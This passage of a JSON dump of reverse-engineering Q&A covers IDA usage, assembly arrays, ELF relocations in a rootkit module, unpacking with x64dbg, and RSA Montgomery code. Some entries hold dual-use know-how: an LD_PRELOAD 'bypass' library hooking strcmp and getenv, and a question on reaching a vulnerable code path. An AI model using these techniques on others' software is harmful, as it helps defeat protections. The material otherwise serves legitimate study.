        "Answer": "<p>At the bottom of <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/417.shtml\" rel=\"noreferrer\">the help page</a> you can see the following:</p>\n<blockquote>\n<p>For batch mode, IDA must be invoked with the following command line:</p>\n<pre><code>ida -B input-file\n</code></pre>\n<p>which is <strong>equivalent to</strong>:</p>\n<pre><code>ida -c -A -Sanalysis.idc input-file\n</code></pre>\n</blockquote>\n<p>I.e. the actual analysis and writing of .asm is done by <code>analysis.idc</code>. Looking into it, we can see:</p>\n<pre><code>static main()\n{\n  // turn on coagulation of data in the final pass of analysis\n  set_inf_attr(INF_AF, get_inf_attr(INF_AF) | AF_DODATA | AF_FINAL);\n  // .. and plan the entire address space for the final pass\n  auto_mark_range(0, BADADDR, AU_FINAL);\n\n  msg(&quot;Waiting for the end of the auto analysis...\\n&quot;);\n  auto_wait();\n\n  msg(&quot;\\n\\n------ Creating the output file.... --------\\n&quot;);\n  auto file = get_idb_path()[0:-4] + &quot;.asm&quot;;\n\n  auto fhandle = fopen(file, &quot;w&quot;);\n  gen_file(OFILE_ASM, fhandle, 0, BADADDR, 0); // create the assembler file\n  msg(&quot;All done, exiting...\\n&quot;);\n  qexit(0); // exit to OS, error code 0 - success\n}\n</code></pre>\n<p>So just make your own copy of the script, remove the part writing out <code>.asm</code> file (<code>gen_file</code> call), and run IDA with your own script:</p>\n<p><code>ida -c -A -Smyanalysis.idc -Lida.log input-file</code></p>\n"
    },
    {
        "Id": "18445",
        "CreationDate": "2018-06-04T08:55:56.510",
        "Body": "<p><a href=\"https://i.stack.imgur.com/7joiZ.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7joiZ.jpg\" alt=\"enter image description here\"></a></p>\n\n<p><strong>Question #1</strong> is the <code>lea edx, [esp+24]</code> start of array  ? and <code>eax, [esp+140]</code> index?</p>\n\n<p>then whats <code>add eax, edx</code>  doing here and this source code mean ? can you please explain? </p>\n\n<p>I am confused about array and indexing an array in assembly. \nhere are few screen shot. Please help me understand how this  array works ? \nhow it indexed and so on.</p>\n\n<p><a href=\"https://i.stack.imgur.com/c4nTN.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/c4nTN.jpg\" alt=\"enter image description here\"></a></p>\n\n<ol>\n<li><a href=\"https://i.stack.imgur.com/pvFI9.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pvFI9.jpg\" alt=\"enter image description here\"></a></li>\n<li><a href=\"https://i.stack.imgur.com/U4G8z.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/U4G8z.jpg\" alt=\"enter image description here\"></a></li>\n</ol>\n",
        "Title": "help me to understand array?",
        "Tags": "|disassembly|assembly|",
        "Answer": "<p>the first screen shot shows</p>\n\n<pre><code>cmp al,59h \n</code></pre>\n\n<p>59h is ==</p>\n\n<pre><code>C:\\\\&gt;python -c \"print '%c' % 0x59\"\nY\n</code></pre>\n\n<p>so it should correspond to your if clause <strong>(if ch[i] == 'Y')</strong></p>\n\n<p>then that means </p>\n\n<p>the previous line in your source code is a for loop whose counter variable i is represented by  <strong>mov eax , [esp+140]</strong>  </p>\n\n<p>it should have been initialized to 0 some where earlier in the block </p>\n\n<p>edx is the start of the the array (possibly 8 bit size) <strong>ch</strong><br>\nit is a pointer   an address like 0x401234 in this line<br>\nassuming 0x401234<br>\nthen the array would be accessd by<br>\n0x401234+0 , +1 , +2 , +3 , +4 ,+5 ..... until the maximum value g (not shown in your screen shot )</p>\n\n<p>the movzx line in your screen shot access the underlying variable ch[i] \nor *(byte / char / type *) (0x401234 , ..5 , ..6 ,..7 , --so on until 0x401234+g )</p>\n\n<p>so the array would be accessed like this (esp+140) would be incremented at the \nend of for loop iteration each time </p>\n\n<pre><code>0x401234 = 'Y' (edx = 401234 + ( eax = [esp+140] == 0 )) = *(char *)0x401234\n0x401235 = 'Y' (edx = 401234 + ( eax = [esp+140] == 1 )) = *(char *)0x401235\n0x401236 = 'Y' (edx = 401234 + ( eax = [esp+140] == 2 )) = *(char *)0x401236\n..... until 0x401234+g\n</code></pre>\n"
    },
    {
        "Id": "18451",
        "CreationDate": "2018-06-04T13:33:55.263",
        "Body": "<p>This is somewhat open-ended question, so bear with me please.</p>\n\n<p>Be it a binary payload that you pull from network packet, firmware blob you pull of some EPROM or data intercepted straight from physical bus - does anybody here use machine learning models to learn data representation?</p>\n\n<p>The problem here is that we have a large sequence(s) of binary data of known length which has some kind of a structure (think stream of IP packets) which is yet to be understood.</p>\n\n<p>Assuming we have enough of this data, we can deduce data representations in unsupervised manner, e.g. if we have pcap capture of a network packet flow on ethernet network, we can deduce what ethernet header is, that it is typically followed by something like IP header, then UDP/TCP header and some paylond in the end.</p>\n\n<p><img src=\"https://i.stack.imgur.com/jMOCs.png\" alt=\"img\"></p>\n\n<p>You could replace \"classifier\" with whatever else we use those ML models (in this case probably RNN-GRU/LSTM) for nowadays (apart from classification it could generate fake traffic etc). But the point is that unlike with common ML domains such as natural language processing, I'm not aware of any model that can be used to replace manual parsing. Most popular NLP model to learn what words mean in context of a sequence nowadays is word2vec, but is there anything like that for representing binary sequences?</p>\n\n<p>PS: I used example in the image just to demonstrate the problem, that could very well be binary code of unknown architecture, USB request block or anything else, point being that it is typically highly structured, opaque and sequential binary input.</p>\n\n<p>I guess the real question is, does anybody use ML for reverse engineering?\nIf so, do you mind sharing your experiences?</p>\n",
        "Title": "What are the popular machine learning unsupervised approaches to learning binary data representations?",
        "Tags": "|binary-analysis|binary|",
        "Answer": "<p>First, the more samples of discrete messages you have the better.</p>\n\n<p>Second, a one algorithm fits all approach isn't going to work. Use an ensemble of small simple recognizers. </p>\n\n<p>Third, it's coming from memory, so start by learning the memory representations for a specific thing, for example unint32.</p>\n\n<p>Fourth, the most difficult part of this task is having pure data. You can be comparing string bytes to int bytes and get nowhere. If you have pure string bytes or pure float bytes, you'll make progress.</p>\n"
    },
    {
        "Id": "18454",
        "CreationDate": "2018-06-04T20:34:54.753",
        "Body": "<p>IDA's functions window, the window that lists all functions identified by IDA, has several columns represented by a single letter/character each. See example in attached picture.</p>\n\n<p>The characters are: <code>R</code>, <code>F</code>, <code>L</code>, <code>S</code>, <code>B</code>, <code>T</code> and <code>=</code></p>\n\n<p><a href=\"https://i.stack.imgur.com/BDyHW.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BDyHW.png\" alt=\"functions window example\"></a></p>\n\n<p>What is the meaning of each column/character?</p>\n",
        "Title": "What is the meaning of single letters in IDA's functions window?",
        "Tags": "|ida|tools|",
        "Answer": "<p>Every column value can be either a dot or the same column character. Those columns are boolean and the column character stands for \"True\" while the dot stands for \"False\". </p>\n\n<ul>\n<li>R stands for \"Returns\" and is True (has an \"R\" in the column's value instead of a dot) if the function returns. Functions may not return and this requires special handling by IDA and the reverse engineer.</li>\n<li>F stands for \"Far\" and is true for functions that are far functions, or false otherwise.</li>\n<li>L stands for \"Library\" function, and is true for functions IDA recognised as library functions (usually using <a href=\"https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml\" rel=\"nofollow noreferrer\">FLIRT</a>).</li>\n<li>S stands for \"Static\" function.</li>\n<li>B stands for a E/R/BP stack frame based function. As part of IDA's analysis functions that use the xBP register for easier stack access are marked so.</li>\n<li>T stands for Type and indicates whether a function has type information assigned. Either manually or automatically by IDA using FLIRT.</li>\n<li>the equal sign (=) indicates the frame pointer is equal to the initial stack pointer. </li>\n</ul>\n\n<p>All of those values can be manually accessible using the \"Edit function\" dialog (<kbd>alt+p</kbd>), like seen here:</p>\n\n<p><a href=\"https://i.stack.imgur.com/yNEtX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/yNEtX.png\" alt=\"IDA edit function dialog\"></a></p>\n\n<p>This is also documented and can be found at <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/586.shtml\" rel=\"nofollow noreferrer\">Hex-Rays website</a>, with a shorter explanation. </p>\n\n<p>Additionally, according to <a href=\"https://reverseengineering.stackexchange.com/questions/18454/what-is-the-meaning-of-single-letters-in-idas-functions-window#comment29115_18455\">Arnaud Diederen</a>:</p>\n\n<blockquote>\n  <p>since 7.1, IDA also provides tooltips for those arguably cryptic single-letter columns. Just hover your mouse over the column header for a couple seconds, and the tooltip should appear.</p>\n</blockquote>\n"
    },
    {
        "Id": "18456",
        "CreationDate": "2018-06-04T20:57:07.410",
        "Body": "<p>i am trying to override predefined functions such as strcmp, getenv, etc.\ni already override some of them using LD_PRELOAD options.\nbut i can't override string class, how can i override c++ string class</p>\n\n<p>i already tried something like this;</p>\n\n<pre><code>class string{\n    char* str;\npublic:\n    string (char* str2){\n        str = str2;\n        std::cout &lt;&lt; str2 &lt;&lt; std::endl ;\n    }\n    bool operator==(char* str2)  {\n        std::cout &lt;&lt; \"c++ =&gt; \" &lt;&lt; str &lt;&lt; \"==\" &lt;&lt; str2 &lt;&lt; std::endl;\n        return false; \n    }\n    compare(char* str2)  {\n        std::cout &lt;&lt; \"c++ =&gt; \" &lt;&lt; str &lt;&lt; \"==\" &lt;&lt; str2 &lt;&lt; std::endl;\n        return 0;\n    }\n};  \n</code></pre>\n\n<p>but it doesn't work i can't print the string that compared or even defined.</p>\n\n<p>compile;</p>\n\n<pre><code>g++ -g -Wall -shared -fPIC -ldl -o bypasscpp.so bypass.cpp\n</code></pre>\n\n<p>And running program with;</p>\n\n<pre><code>LD_PRELOAD=\"./bypasscpp.so\" ./app\n</code></pre>\n",
        "Title": "How to override c++ string class with LD_PRELOAD",
        "Tags": "|c++|function-hooking|decompile|gcc|",
        "Answer": "<p>Are you trying to override <code>std::string</code>? Please check <a href=\"https://en.cppreference.com/w/cpp/string/basic_string\" rel=\"nofollow noreferrer\">https://en.cppreference.com/w/cpp/string/basic_string</a>. <code>std::string</code> is just a <code>typedef</code> for <code>std::basic_string&lt;char&gt;</code> which means that <code>std::string</code> is not dynamically linked. In other words those methods you try to override are statically linked into you <code>./app</code>.</p>\n"
    },
    {
        "Id": "18458",
        "CreationDate": "2018-06-05T04:10:12.907",
        "Body": "<p>Among other approaches, there are ways to \"prettify\" obfuscated javascript. But most of such approaches are geared towards someone trying to understand code that's not their own (e.g. from a website, or something they took over, etc.). </p>\n\n<p>But suppose I am the owner/author of a script which is obfuscated in production and I notice an error in production. It is still not straightforward (even if I wrote the code) to map a function/variable from the obfuscated js to the regular version. </p>\n\n<p>Is there a clean way I can have a map of corresponding variables/functions in the regular and obfuscated versions? </p>\n",
        "Title": "Map an obfuscated javascript file to the original",
        "Tags": "|obfuscation|deobfuscation|javascript|",
        "Answer": "<p>This is highly dependant on your obfuscation technique.</p>\n\n<p>If you're focused on translating obfuscated object (functions, variables) names back to the original function names, this could be achieved easily by creating the mapping while obfuscating your javascript code.</p>\n\n<p>If the obfuscator's code is available to you (it should; or just get another obfuscation tool) adding that is trivial.</p>\n\n<p>If you're talking about something that's more than just variable and function names you may need to be more specific.</p>\n"
    },
    {
        "Id": "18463",
        "CreationDate": "2018-06-05T19:19:00.290",
        "Body": "<p>I've a X64 DLL file which uses C++ standard library heavily. I've loaded the PDB symbol file in IDA and all the subroutines names <code>sub_xxyz</code> changes to <code>std::xyz</code>, which is as expected. But there are many subroutines, for example one name is like <code>std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;(void *Dst, _BYTE *a2, __int64 a3)</code>. Too long, isn't it ;)</p>\n\n<p>Under the hood, all these subroutines mainly do some memory manipulation with <code>malloc()</code>, <code>memcpy()</code>, <code>memmove()</code> etc. Hence my question, Can I simplify those subroutines in IDA by any means?</p>\n",
        "Title": "How to simplify C++ standard template library in IDA?",
        "Tags": "|ida|disassembly|c++|",
        "Answer": "<p>Although this function name is indeed quite long, there's no easy way to simplify it nor is it too difficult to understand once you gain decent C++ development experience, using std especially. The TLDR answer is that this is a constructor for a <a href=\"http://www.cplusplus.com/reference/string/string/\" rel=\"nofollow noreferrer\"><code>std::string</code></a> object (specifically this looks like the <a href=\"http://www.cplusplus.com/reference/string/string/string/\" rel=\"nofollow noreferrer\">substring(3) constructor</a>, but I'm not 100% sure).</p>\n\n<p>If you visit the <a href=\"http://www.cplusplus.com/reference/string/string/\" rel=\"nofollow noreferrer\"><code>std::string</code> reference page</a>, you'll see this is the definition for <code>std::string</code>:</p>\n\n<pre><code>typedef std::basic_string&lt;char&gt; string; \n</code></pre>\n\n<p>The <code>std::string</code> class is being defined using the <code>std::basic_string</code> class template, which has three template parameters:</p>\n\n<ol>\n<li>the character type used for the string object.</li>\n<li>an object to control some string traits.</li>\n<li>The allocator used to actually allocate the string buffers for the class.</li>\n</ol>\n\n<p>In the <code>std::string</code> case, however, only the first template parameter is provided - the other two are the default ones defined based on the first template parameter (char), and although they can be replaced with different or more complex traits or allocators, this isn't the case for the <code>std::string</code> class. </p>\n\n<p>Although the typedef string is pretty simple and straightforward thanks to the default templates parameters being unspecified, when the object is built and actually defined by the compiler the full definition is used, which adds a lot of boilerplate definitions.</p>\n\n<p>If we split it up to it's parts, we'll see <code>std::basic_string</code> is being used and three template parameters are specified. As mentioned for the <code>std::string</code>, the second (<code>std::char_traits&lt;char&gt;</code>) and third (<code>std::allocator&lt;char&gt;</code>) are derived by the first and are both templates by themselves, receiving the same template parameter <code>std::basic_string</code> got (<code>char</code>).</p>\n\n<p>After the class definition, the two colons indicate a definition of an object under the class namespace:</p>\n\n<pre><code>::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;(void *Dst, _BYTE *a2, __int64 a3)\n</code></pre>\n\n<p>We can easily see this is a function that has the same name as the class itself, which is the known way to define a constructor. </p>\n\n<p>Lastly, as with every function we have the parameters this function accepts inside the parentheses:</p>\n\n<pre><code>void *Dst, _BYTE *a2, __int64 a3\n</code></pre>\n\n<p>To simplify the full definition back to <code>std::basic_string&lt;char&gt;</code>, one would need to hold the default template parameters for all std template classes, and strip the ones that are recognized as the default ones. Although this is not a very difficult task, it seems a little redundant to me. You are obviously encouraged to either develop such a plugin yourself or suggest the feature improvement to the IDA development team.</p>\n"
    },
    {
        "Id": "18475",
        "CreationDate": "2018-06-07T15:05:06.487",
        "Body": "<p>While working on this <a href=\"https://transfer.sh/xKTok/rootkit\" rel=\"nofollow noreferrer\">kernel module</a>, I noticed IDA somehow resolves some ELF relocations statically. Consider the symbol <code>sys_renameat</code>, which, according to IDA, resides at <code>0x8000720</code> in <code>.bss</code> segment.</p>\n\n<p><a href=\"https://i.stack.imgur.com/9EHhS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/9EHhS.png\" alt=\"enter image description here\"></a></p>\n\n<p>The raw hex bytes corresponding to the <code>mov</code> instruction at <code>0x800328</code> are <code>A3 20 07 00 08</code></p>\n\n<p>However, looking at bytes at that specific offset with a hex-editor reveals <code>A3 00 00 00 00</code>. Clearly, there is a relocation which IDA is resolving somehow. </p>\n\n<p><a href=\"https://i.stack.imgur.com/vW1N8.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/vW1N8.png\" alt=\"enter image description here\"></a></p>\n\n<p><code>readelf -r rootkit</code> confirms this.</p>\n\n<pre><code>Relocation section '.rel.init.text' at offset 0x119c contains 26 entries:\n Offset     Info    Type            Sym.Value  Sym. Name\n.\n00000059  00001701 R_386_32          00000000   sys_renameat\n.\n</code></pre>\n\n<p>The symbol information as returned by <code>readelf -s rootkit</code></p>\n\n<pre><code>Symbol table '.symtab' contains 44 entries:\nNum:    Value  Size Type    Bind   Vis      Ndx Name\n.\n23: 00000000     4 OBJECT  GLOBAL DEFAULT   15 sys_renameat\n.\n</code></pre>\n\n<p>However, if I <code>strip</code> the binary, suddenly IDA fails to resolve (<code>mov</code> instruction at <code>0x800328</code>) the relocations any more.</p>\n\n<p><a href=\"https://i.stack.imgur.com/K5Bx9.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/K5Bx9.png\" alt=\"enter image description here\"></a></p>\n\n<p>My understanding is, resolving dynamic relocations never depends on symbol information which <code>strip</code> removes. I tried to compute how IDA was computing <code>R_386_32</code> type relocation for <code>sys_renameat</code> according to <a href=\"https://docs.oracle.com/cd/E23824_01/html/819-0690/chapter6-79797.html\" rel=\"nofollow noreferrer\">ELF specification</a>, but couldn't figure out what's going on.</p>\n\n<p>Is IDA resolving relocation correctly in this case/ If so, can someone please explain this behavior?</p>\n",
        "Title": "Is IDA resolving ELF relocations correctly?",
        "Tags": "|ida|elf|",
        "Answer": "<p>Linux kernel modules are <strong>not</strong> shared objects and don't use dynamic relocations, although they may look a little similar.</p>\n\n<p><code>file</code>:</p>\n\n<blockquote>\n  <p>rootkit: ELF 32-bit LSB <strong>relocatable</strong>, Intel 80386, version 1 (SYSV), BuildID[sha1\n  ]=5552f893cf02ce13e9a183af3b6717e884493ead, not stripped</p>\n</blockquote>\n\n<p><code>readelf -h</code>:</p>\n\n<blockquote>\n  <p><code>Type:                              REL (Relocatable file)</code></p>\n</blockquote>\n\n<p>So it's a <strong>relocatable object</strong>, and by stripping it you remove information necessary for its functioning.</p>\n\n<p>From the <a href=\"https://www.tldp.org/HOWTO/html_single/Module-HOWTO/\" rel=\"nofollow noreferrer\">Linux Loadable Kernel Module HOWTO</a>:</p>\n\n<blockquote>\n  <p>How that relocation happens is fundamentally different between Linux\n  2.4 and Linux 2.6. In 2.6, <code>insmod</code> pretty much just passes the verbatim contents of the LKM file (.ko file) to the kernel and <strong>the kernel does the relocation.</strong></p>\n</blockquote>\n\n<p>About relocation resolution by IDA:</p>\n\n<p>Since the real address of the symbols is not known until runtime but the user expects to see nice names in the disassembly, IDA's ELF loader creates a fake segment (\"extern\") and fills it with placeholders for the external symbols. The relocatable bytes are then patched to point to those fake symbols.</p>\n"
    },
    {
        "Id": "18477",
        "CreationDate": "2018-06-07T16:00:43.587",
        "Body": "<p>I know how to do it with OllyDbg but with <a href=\"https://x64dbg.com/#start\" rel=\"nofollow noreferrer\">x64dbg\\x32dbg</a> I don't know how to do it.  </p>\n\n<p>I have a packed binary file and at some point it unpacks itself and I found the point where it does it.<br>\nI want to copy it to a binary file at this point (after unpacked).  </p>\n\n<p>I tried using right click on the code and use <code>Copy</code> and <code>Binary</code> but I don't see any option to copy to executable:<br>\n<a href=\"https://i.stack.imgur.com/1w8OQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1w8OQ.png\" alt=\"enter image description here\"></a></p>\n\n<p>Any idea ?  </p>\n",
        "Title": "How to copy binary file with x64dbg\\x32dbg after it changed it self",
        "Tags": "|x64dbg|",
        "Answer": "<p>It sounds like you want to dump the executable. You can use Scylla (which is built into x64dbg) to dump and restore the executable.</p>\n\n<p>You can find Scylla in <code>Plugins -&gt; Scylla</code></p>\n"
    },
    {
        "Id": "18479",
        "CreationDate": "2018-06-07T18:12:59.000",
        "Body": "<p>IBM's AIX <a href=\"https://www.ibm.com/support/knowledgecenter/en/ssw_aix_71/com.ibm.aix.cmds5/strip.htm\" rel=\"nofollow noreferrer\"><code>strip</code></a> utility documentation states the following:</p>\n\n<blockquote>\n  <p>The strip command with no options removes the line number information,\n  relocation information, symbol table, the debug section, and the\n  typchk section, and the comment section.</p>\n</blockquote>\n\n<p>If relocation information is removed, how come the stripped executable still remain usable?</p>\n",
        "Title": "How does a stripped XCOFF binary still remain usable?",
        "Tags": "|file-format|",
        "Answer": "<p>apparently the <a href=\"https://www.ibm.com/support/knowledgecenter/en/ssw_aix_71/com.ibm.aix.files/XCOFF.htm\" rel=\"nofollow noreferrer\">XCOFF format</a>  has a separate section for dynamic linker (<em>system loader</em>):</p>\n<blockquote>\n<h1>Loader Section (loader.h)</h1>\n<p>The loader section contains information required by the system loader\nto load and relocate an executable XCOFF object. The loader section is\ngenerated by the binder. The loader section has an s_flags section\ntype flag of STYP_LOADER in the XCOFF section header. By convention,\n.loader is the loader section name. The data in this section is not\nreferenced by entries in the XCOFF symbol table.</p>\n</blockquote>\n<p>Presumably this one is not removed by <code>strip</code>, so the file still works.</p>\n<p>See also similar question on what happens with <a href=\"https://reverseengineering.stackexchange.com/questions/2539/what-symbol-tables-stay-after-a-strip-in-elf-format\">stripped ELF files</a>.</p>\n"
    },
    {
        "Id": "18480",
        "CreationDate": "2018-06-07T19:11:24.280",
        "Body": "<p>The below code snippets are some kind of <code>bignum</code> multiplications involving 2048bit numbers, possibly in the context of RSA decryption. </p>\n\n<ul>\n<li>Does any one recognize this pattern?  </li>\n<li>Is it maybe some kind of <code>Montgomery</code> multiplication (unlikely) ? </li>\n<li>Or some RSA obfuscation that someone recognizes?</li>\n</ul>\n\n<p>There are 2 multiplication loops. I marked them with <code>loop1</code> and <code>loop2</code>. <code>loop1</code> does the partial multiplication and addition I would expect. But how does the second loop make sense <em>mathematically</em>? It uses a seperate vector to multiply with. Does this accumulate into a  modulo operation? </p>\n\n<p>I converted the IDA compilation to a more readable representation below,\nthe original is at the end. Can anyone recognize a pattern?</p>\n\n<pre><code>struct mod {\n  int len;\n  uint32_t _pad0[64]; /* 4 */\n  uint32_t r[64];     /* 4 + (256*1) :offset-260  */\n  uint32_t _pad2[64]; /* 4 + (256*2) :offset-516  */\n  uint32_t _pad3[64]; /* 4 + (256*3) :offset-772  */\n  uint32_t _pad4[64]; /* 4 + (256*4) :offset-1028 */\n  int fac;            /* 4 + (256*5) :offset-1284 */\n};\n\n#define align8(c) (((uint64_t)(c)) &amp; (~0x7ULL))\n\nint64_t some_kind_of_mult(int32_t *acc , int32_t *a , int32_t *b, struct mod *n)\n{\n  int i0, i1, i2, j0 ;\n  uint32_t top;\n  uint64_t c0 = 0, c1 = 0, v0, v1, v2, v3, c01, c01_h;\n  intt64_t m1, res, topc0 = 0;\n\n  memset(acc,0,256);\n  res = 0;\n  l = n-&gt;len;\n\n  if ( !l )\n    return res;\n\n  top = topc0 = 0;\n\n  for (i0 = 0; i0 &lt; l; i0++)\n  {\n      /* loop1: multiply a[0..l] with partial b[i0], accumulate resule in acc[0..l] */\n      for (c1=0, i1=0; i1 &lt; l; i1++)\n      {\n          v1 = ((uint64_t)a[i1] * (uint64_t)b[i0]) + acc[i1] + c1;\n          acc[i1] = v1;\n          c1 = v1 &gt;&gt; 32;\n      }\n\n      top = (uint32_t)c1 + topc0;\n      c01 = c1 + topc0;\n\n      m1 = (uint32_t)(acc[0] * n-&gt;fac);\n      c2 = (m1 * (uint64_t)(n-&gt;r[0]) + acc[0]) &gt;&gt; 32;\n\n      /* loop2: do some acc[0..l] postprocessing involving some acc[i2-1] = .. acc[i2] ... calculcation */\n      for (i2 = 1; i2 &lt; l; i2++)\n      {\n          v2 = acc[i2] + c2 + (m1 * n-&gt;r[i2]);\n          acc[i2-1] = v2;\n          c2 = (v2 &gt;&gt; 32);\n      }\n\n      acc[l-1] = top + c2;\n      topc0 = (c01 &gt;&gt; 32) + ((top + c2) &gt;&gt; 32);\n  }\n\n  if ( !topc0 &amp;&amp; l-1 &gt;= 0 )\n  {\n      res = l-1;\n      if ( acc[l-1] &lt; n-&gt;r[l-1] )\n        /* possible error in IDA function */\n        return res;\n      if ( *v28 &lt;= v29 )\n        /* possible error in IDA function */\n        JUMPOUT(loc_BC46E10);\n  }\n\n  res &amp;= 0xffffffff00000000ULL;;\n  /* loop3: some final substraction on acc[0-l] */\n  for (j0 = 0; j0 &lt; l; j0++)\n  {\n      v3 = acc[j0] - (uint64_t)n-&gt;r[j0] - (uint32_t)res;\n      acc[j0] = v3;\n      res = -(v3 &gt;&gt; 32);\n  }\n\n  return res;\n}\n</code></pre>\n\n<p>Here is the original IDA decompile:</p>\n\n<pre><code> int64 fastcall sub_BC46730(_DWORD *a1, int64 a2, int64 a3, int64 a4)\n{\n    _DWORD *v4; // r9@1\n    signed __int64 v5; // rdi@1\n    __int64 v6; // rbp@1\n    __int64 result; // rax@1\n    unsigned int v8; // ecx@1\n    unsigned int v9; // er13@1\n    __int64 v10; // r10@2\n    unsigned __int64 v11; // rdi@3\n    __int64 v12; // r8@3\n    unsigned __int64 v13; // rax@4\n    unsigned __int64 v14; // rax@4\n    __int64 v15; // r14@5\n    unsigned __int64 v16; // r11@5\n    __int64 v17; // rax@5\n    unsigned __int64 v18; // r11@5\n    __int64 v19; // r8@5\n    unsigned __int64 v20; // r15@5\n    signed __int64 v21; // rdi@6\n    _DWORD *v22; // rcx@6\n    __int64 v23; // rax@7\n    unsigned __int64 v24; // rax@7\n    unsigned __int64 v25; // rax@7\n    __int64 v26; // rsi@9\n    unsigned __int64 v27; // rcx@11\n    unsigned int *v28; // rdi@14\n    unsigned int v29; // ebx@14\n    __int64 v30; // [sp+0h] [bp-40h]@2\n    int v31; // [sp+8h] [bp-38h]@2\n    int v32; // [sp+Ch] [bp-34h]@2\n    v4 = a1;\n    v5 = (signed __int64)(a1 + 2);\n    v6 = a4;\n    *(_QWORD *)(v5 - 8) = 0LL;\n    *(_QWORD *)(v5 + 240) = 0LL;\n    result = 0LL;\n    memset(\n        (void *)(v5 &amp; 0xFFFFFFFFFFFFFFF8LL),\n        0,\n        8 * ((unsigned __int64)((unsigned int)v4 - (v5 &amp; 0xFFFFFFF8) + 256) &gt;&gt; 3));\n    v8 = 0;\n    v9 = *(_DWORD *)v6;\n    if ( *(_DWORD *)v6 )\n    {\n        v10 = 0LL;\n        v31 = *(_DWORD *)(v6 + 1284);\n        v32 = v9 - 1;\n        v30 = v9 - 1;\n        do {\n            v11 = 0LL;\n            v12 = 0LL;\n            /* loop1: */\n            do {\n                v13 = *(_DWORD *)(a2 + v11) * (unsigned __int64)*(_DWORD *)(a3 + 4 * v10) + v4[v11 / 4] + v12;\n                v4[v11 / 4] = v13;\n                v11 += 4LL;\n                v14 = v13 &gt;&gt; 32;\n                v12 = (unsigned int)v14;\n            } while ( v11 != 4 * v30 + 4 );\n            v15 = (unsigned int)v14 + v8;\n            v16 = v14 + v8;\n            v17 = *v4;\n            v18 = v16 &gt;&gt; 32;\n            v19 = (unsigned int)(v17 * v31);\n            v20 = (v19 * (unsigned __int64)*(_DWORD *)(v6 + 260) + v17) &gt;&gt; 32;\n            if ( v9 &lt;= 1 )\n                goto LABEL_16;\n            v21 = v6 + 264;\n            v22 = v4;\n            /* loop2: */\n            do\n            {\n                v23 = v22[1];\n                v21 += 4LL;\n                ++v22;\n                v24 = v23 + v20 + v19 * *(_DWORD *)(v21 - 4);\n                *(v22 - 1) = v24;\n                v25 = v24 &gt;&gt; 32;\n                v20 = (unsigned int)v25;\n            }\n            while ( v21 != v6 + 4LL * (v9 - 2) + 268 );\n            ++v10;\n            v4[v30] = v15 + v25;\n            v8 = v18 + ((v15 + v25) &gt;&gt; 32);\n        }\n        while ( v9 &gt; (unsigned int)v10 );\n        v26 = 0LL;\n        if ( !v8 &amp;&amp; v32 &gt;= 0 )\n        {\n            result = v32;\n            v28 = &amp;v4[v32];\n            v29 = *(_DWORD *)(4LL * v32 + v6 + 260);\n            if ( *v28 &lt; v29 )\n                return result;\n            if ( *v28 &lt;= v29 )\n            LABEL_16:\n                JUMPOUT(loc_BC46E10);\n        }\n        LODWORD(result) = 0;\n        do\n        {\n            v27 = v4[v26] - (unsigned __int64)*(_DWORD *)(v6 + 4 * v26 + 260) - (unsigned int)result;\n            v4[v26++] = v27;\n            result = (unsigned int)-HIDWORD(v27);\n        }\n        while ( v9 &gt; (unsigned int)v26 );\n    }\n    return result;\n}\n</code></pre>\n",
        "Title": "Is this Bignum multiplication of 2048 RSA number a Montgomery multiplication?",
        "Tags": "|ida|binary-analysis|",
        "Answer": "<p>The structure seems to resemble a Montgomery CIOS implementation</p>\n\n<p><a href=\"https://i.stack.imgur.com/5gJUp.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/5gJUp.jpg\" alt=\"CIOS Montgomery\"></a></p>\n\n<p>From the paper on Researchgate: <a href=\"https://www.researchgate.net/profile/JV_Mccanny/publication/4123255_Coarsely_integrated_operand_scanning_CIOS_architecture_for_high-speed_Montgomery_modular_multiplication/links/56d9c15d08aebe4638bb9776/Coarsely-integrated-operand-scanning-CIOS-architecture-for-high-speed-Montgomery-modular-multiplication.pdf\" rel=\"nofollow noreferrer\">Coarsely Integrated Operand Scanning </a></p>\n\n<p>More references on CIOS Montgomery: <a href=\"https://www.microsoft.com/en-us/research/wp-content/uploads/1996/01/j37acmon.pdf\" rel=\"nofollow noreferrer\">https://www.microsoft.com/en-us/research/wp-content/uploads/1996/01/j37acmon.pdf</a></p>\n"
    },
    {
        "Id": "18482",
        "CreationDate": "2018-06-07T19:19:58.053",
        "Body": "<p>Assuming I have the following scenario:\nI have spotted a vulnerability in a specific function deep inside of an executable (DLL). To get that code path executed (in a vulnerable context) I need to feed the program with very specific input that depends on the flow paths and checked performed at different phases in the program.</p>\n\n<p>What I'm looking for are some guidelines, books, material I could research which can explain me what approaches exist and how to get there.</p>\n\n<p>Thanks and Regards,\nDaniel</p>\n",
        "Title": "Automatically find intput required to trigger a specific code path in a program",
        "Tags": "|ida|exploit|",
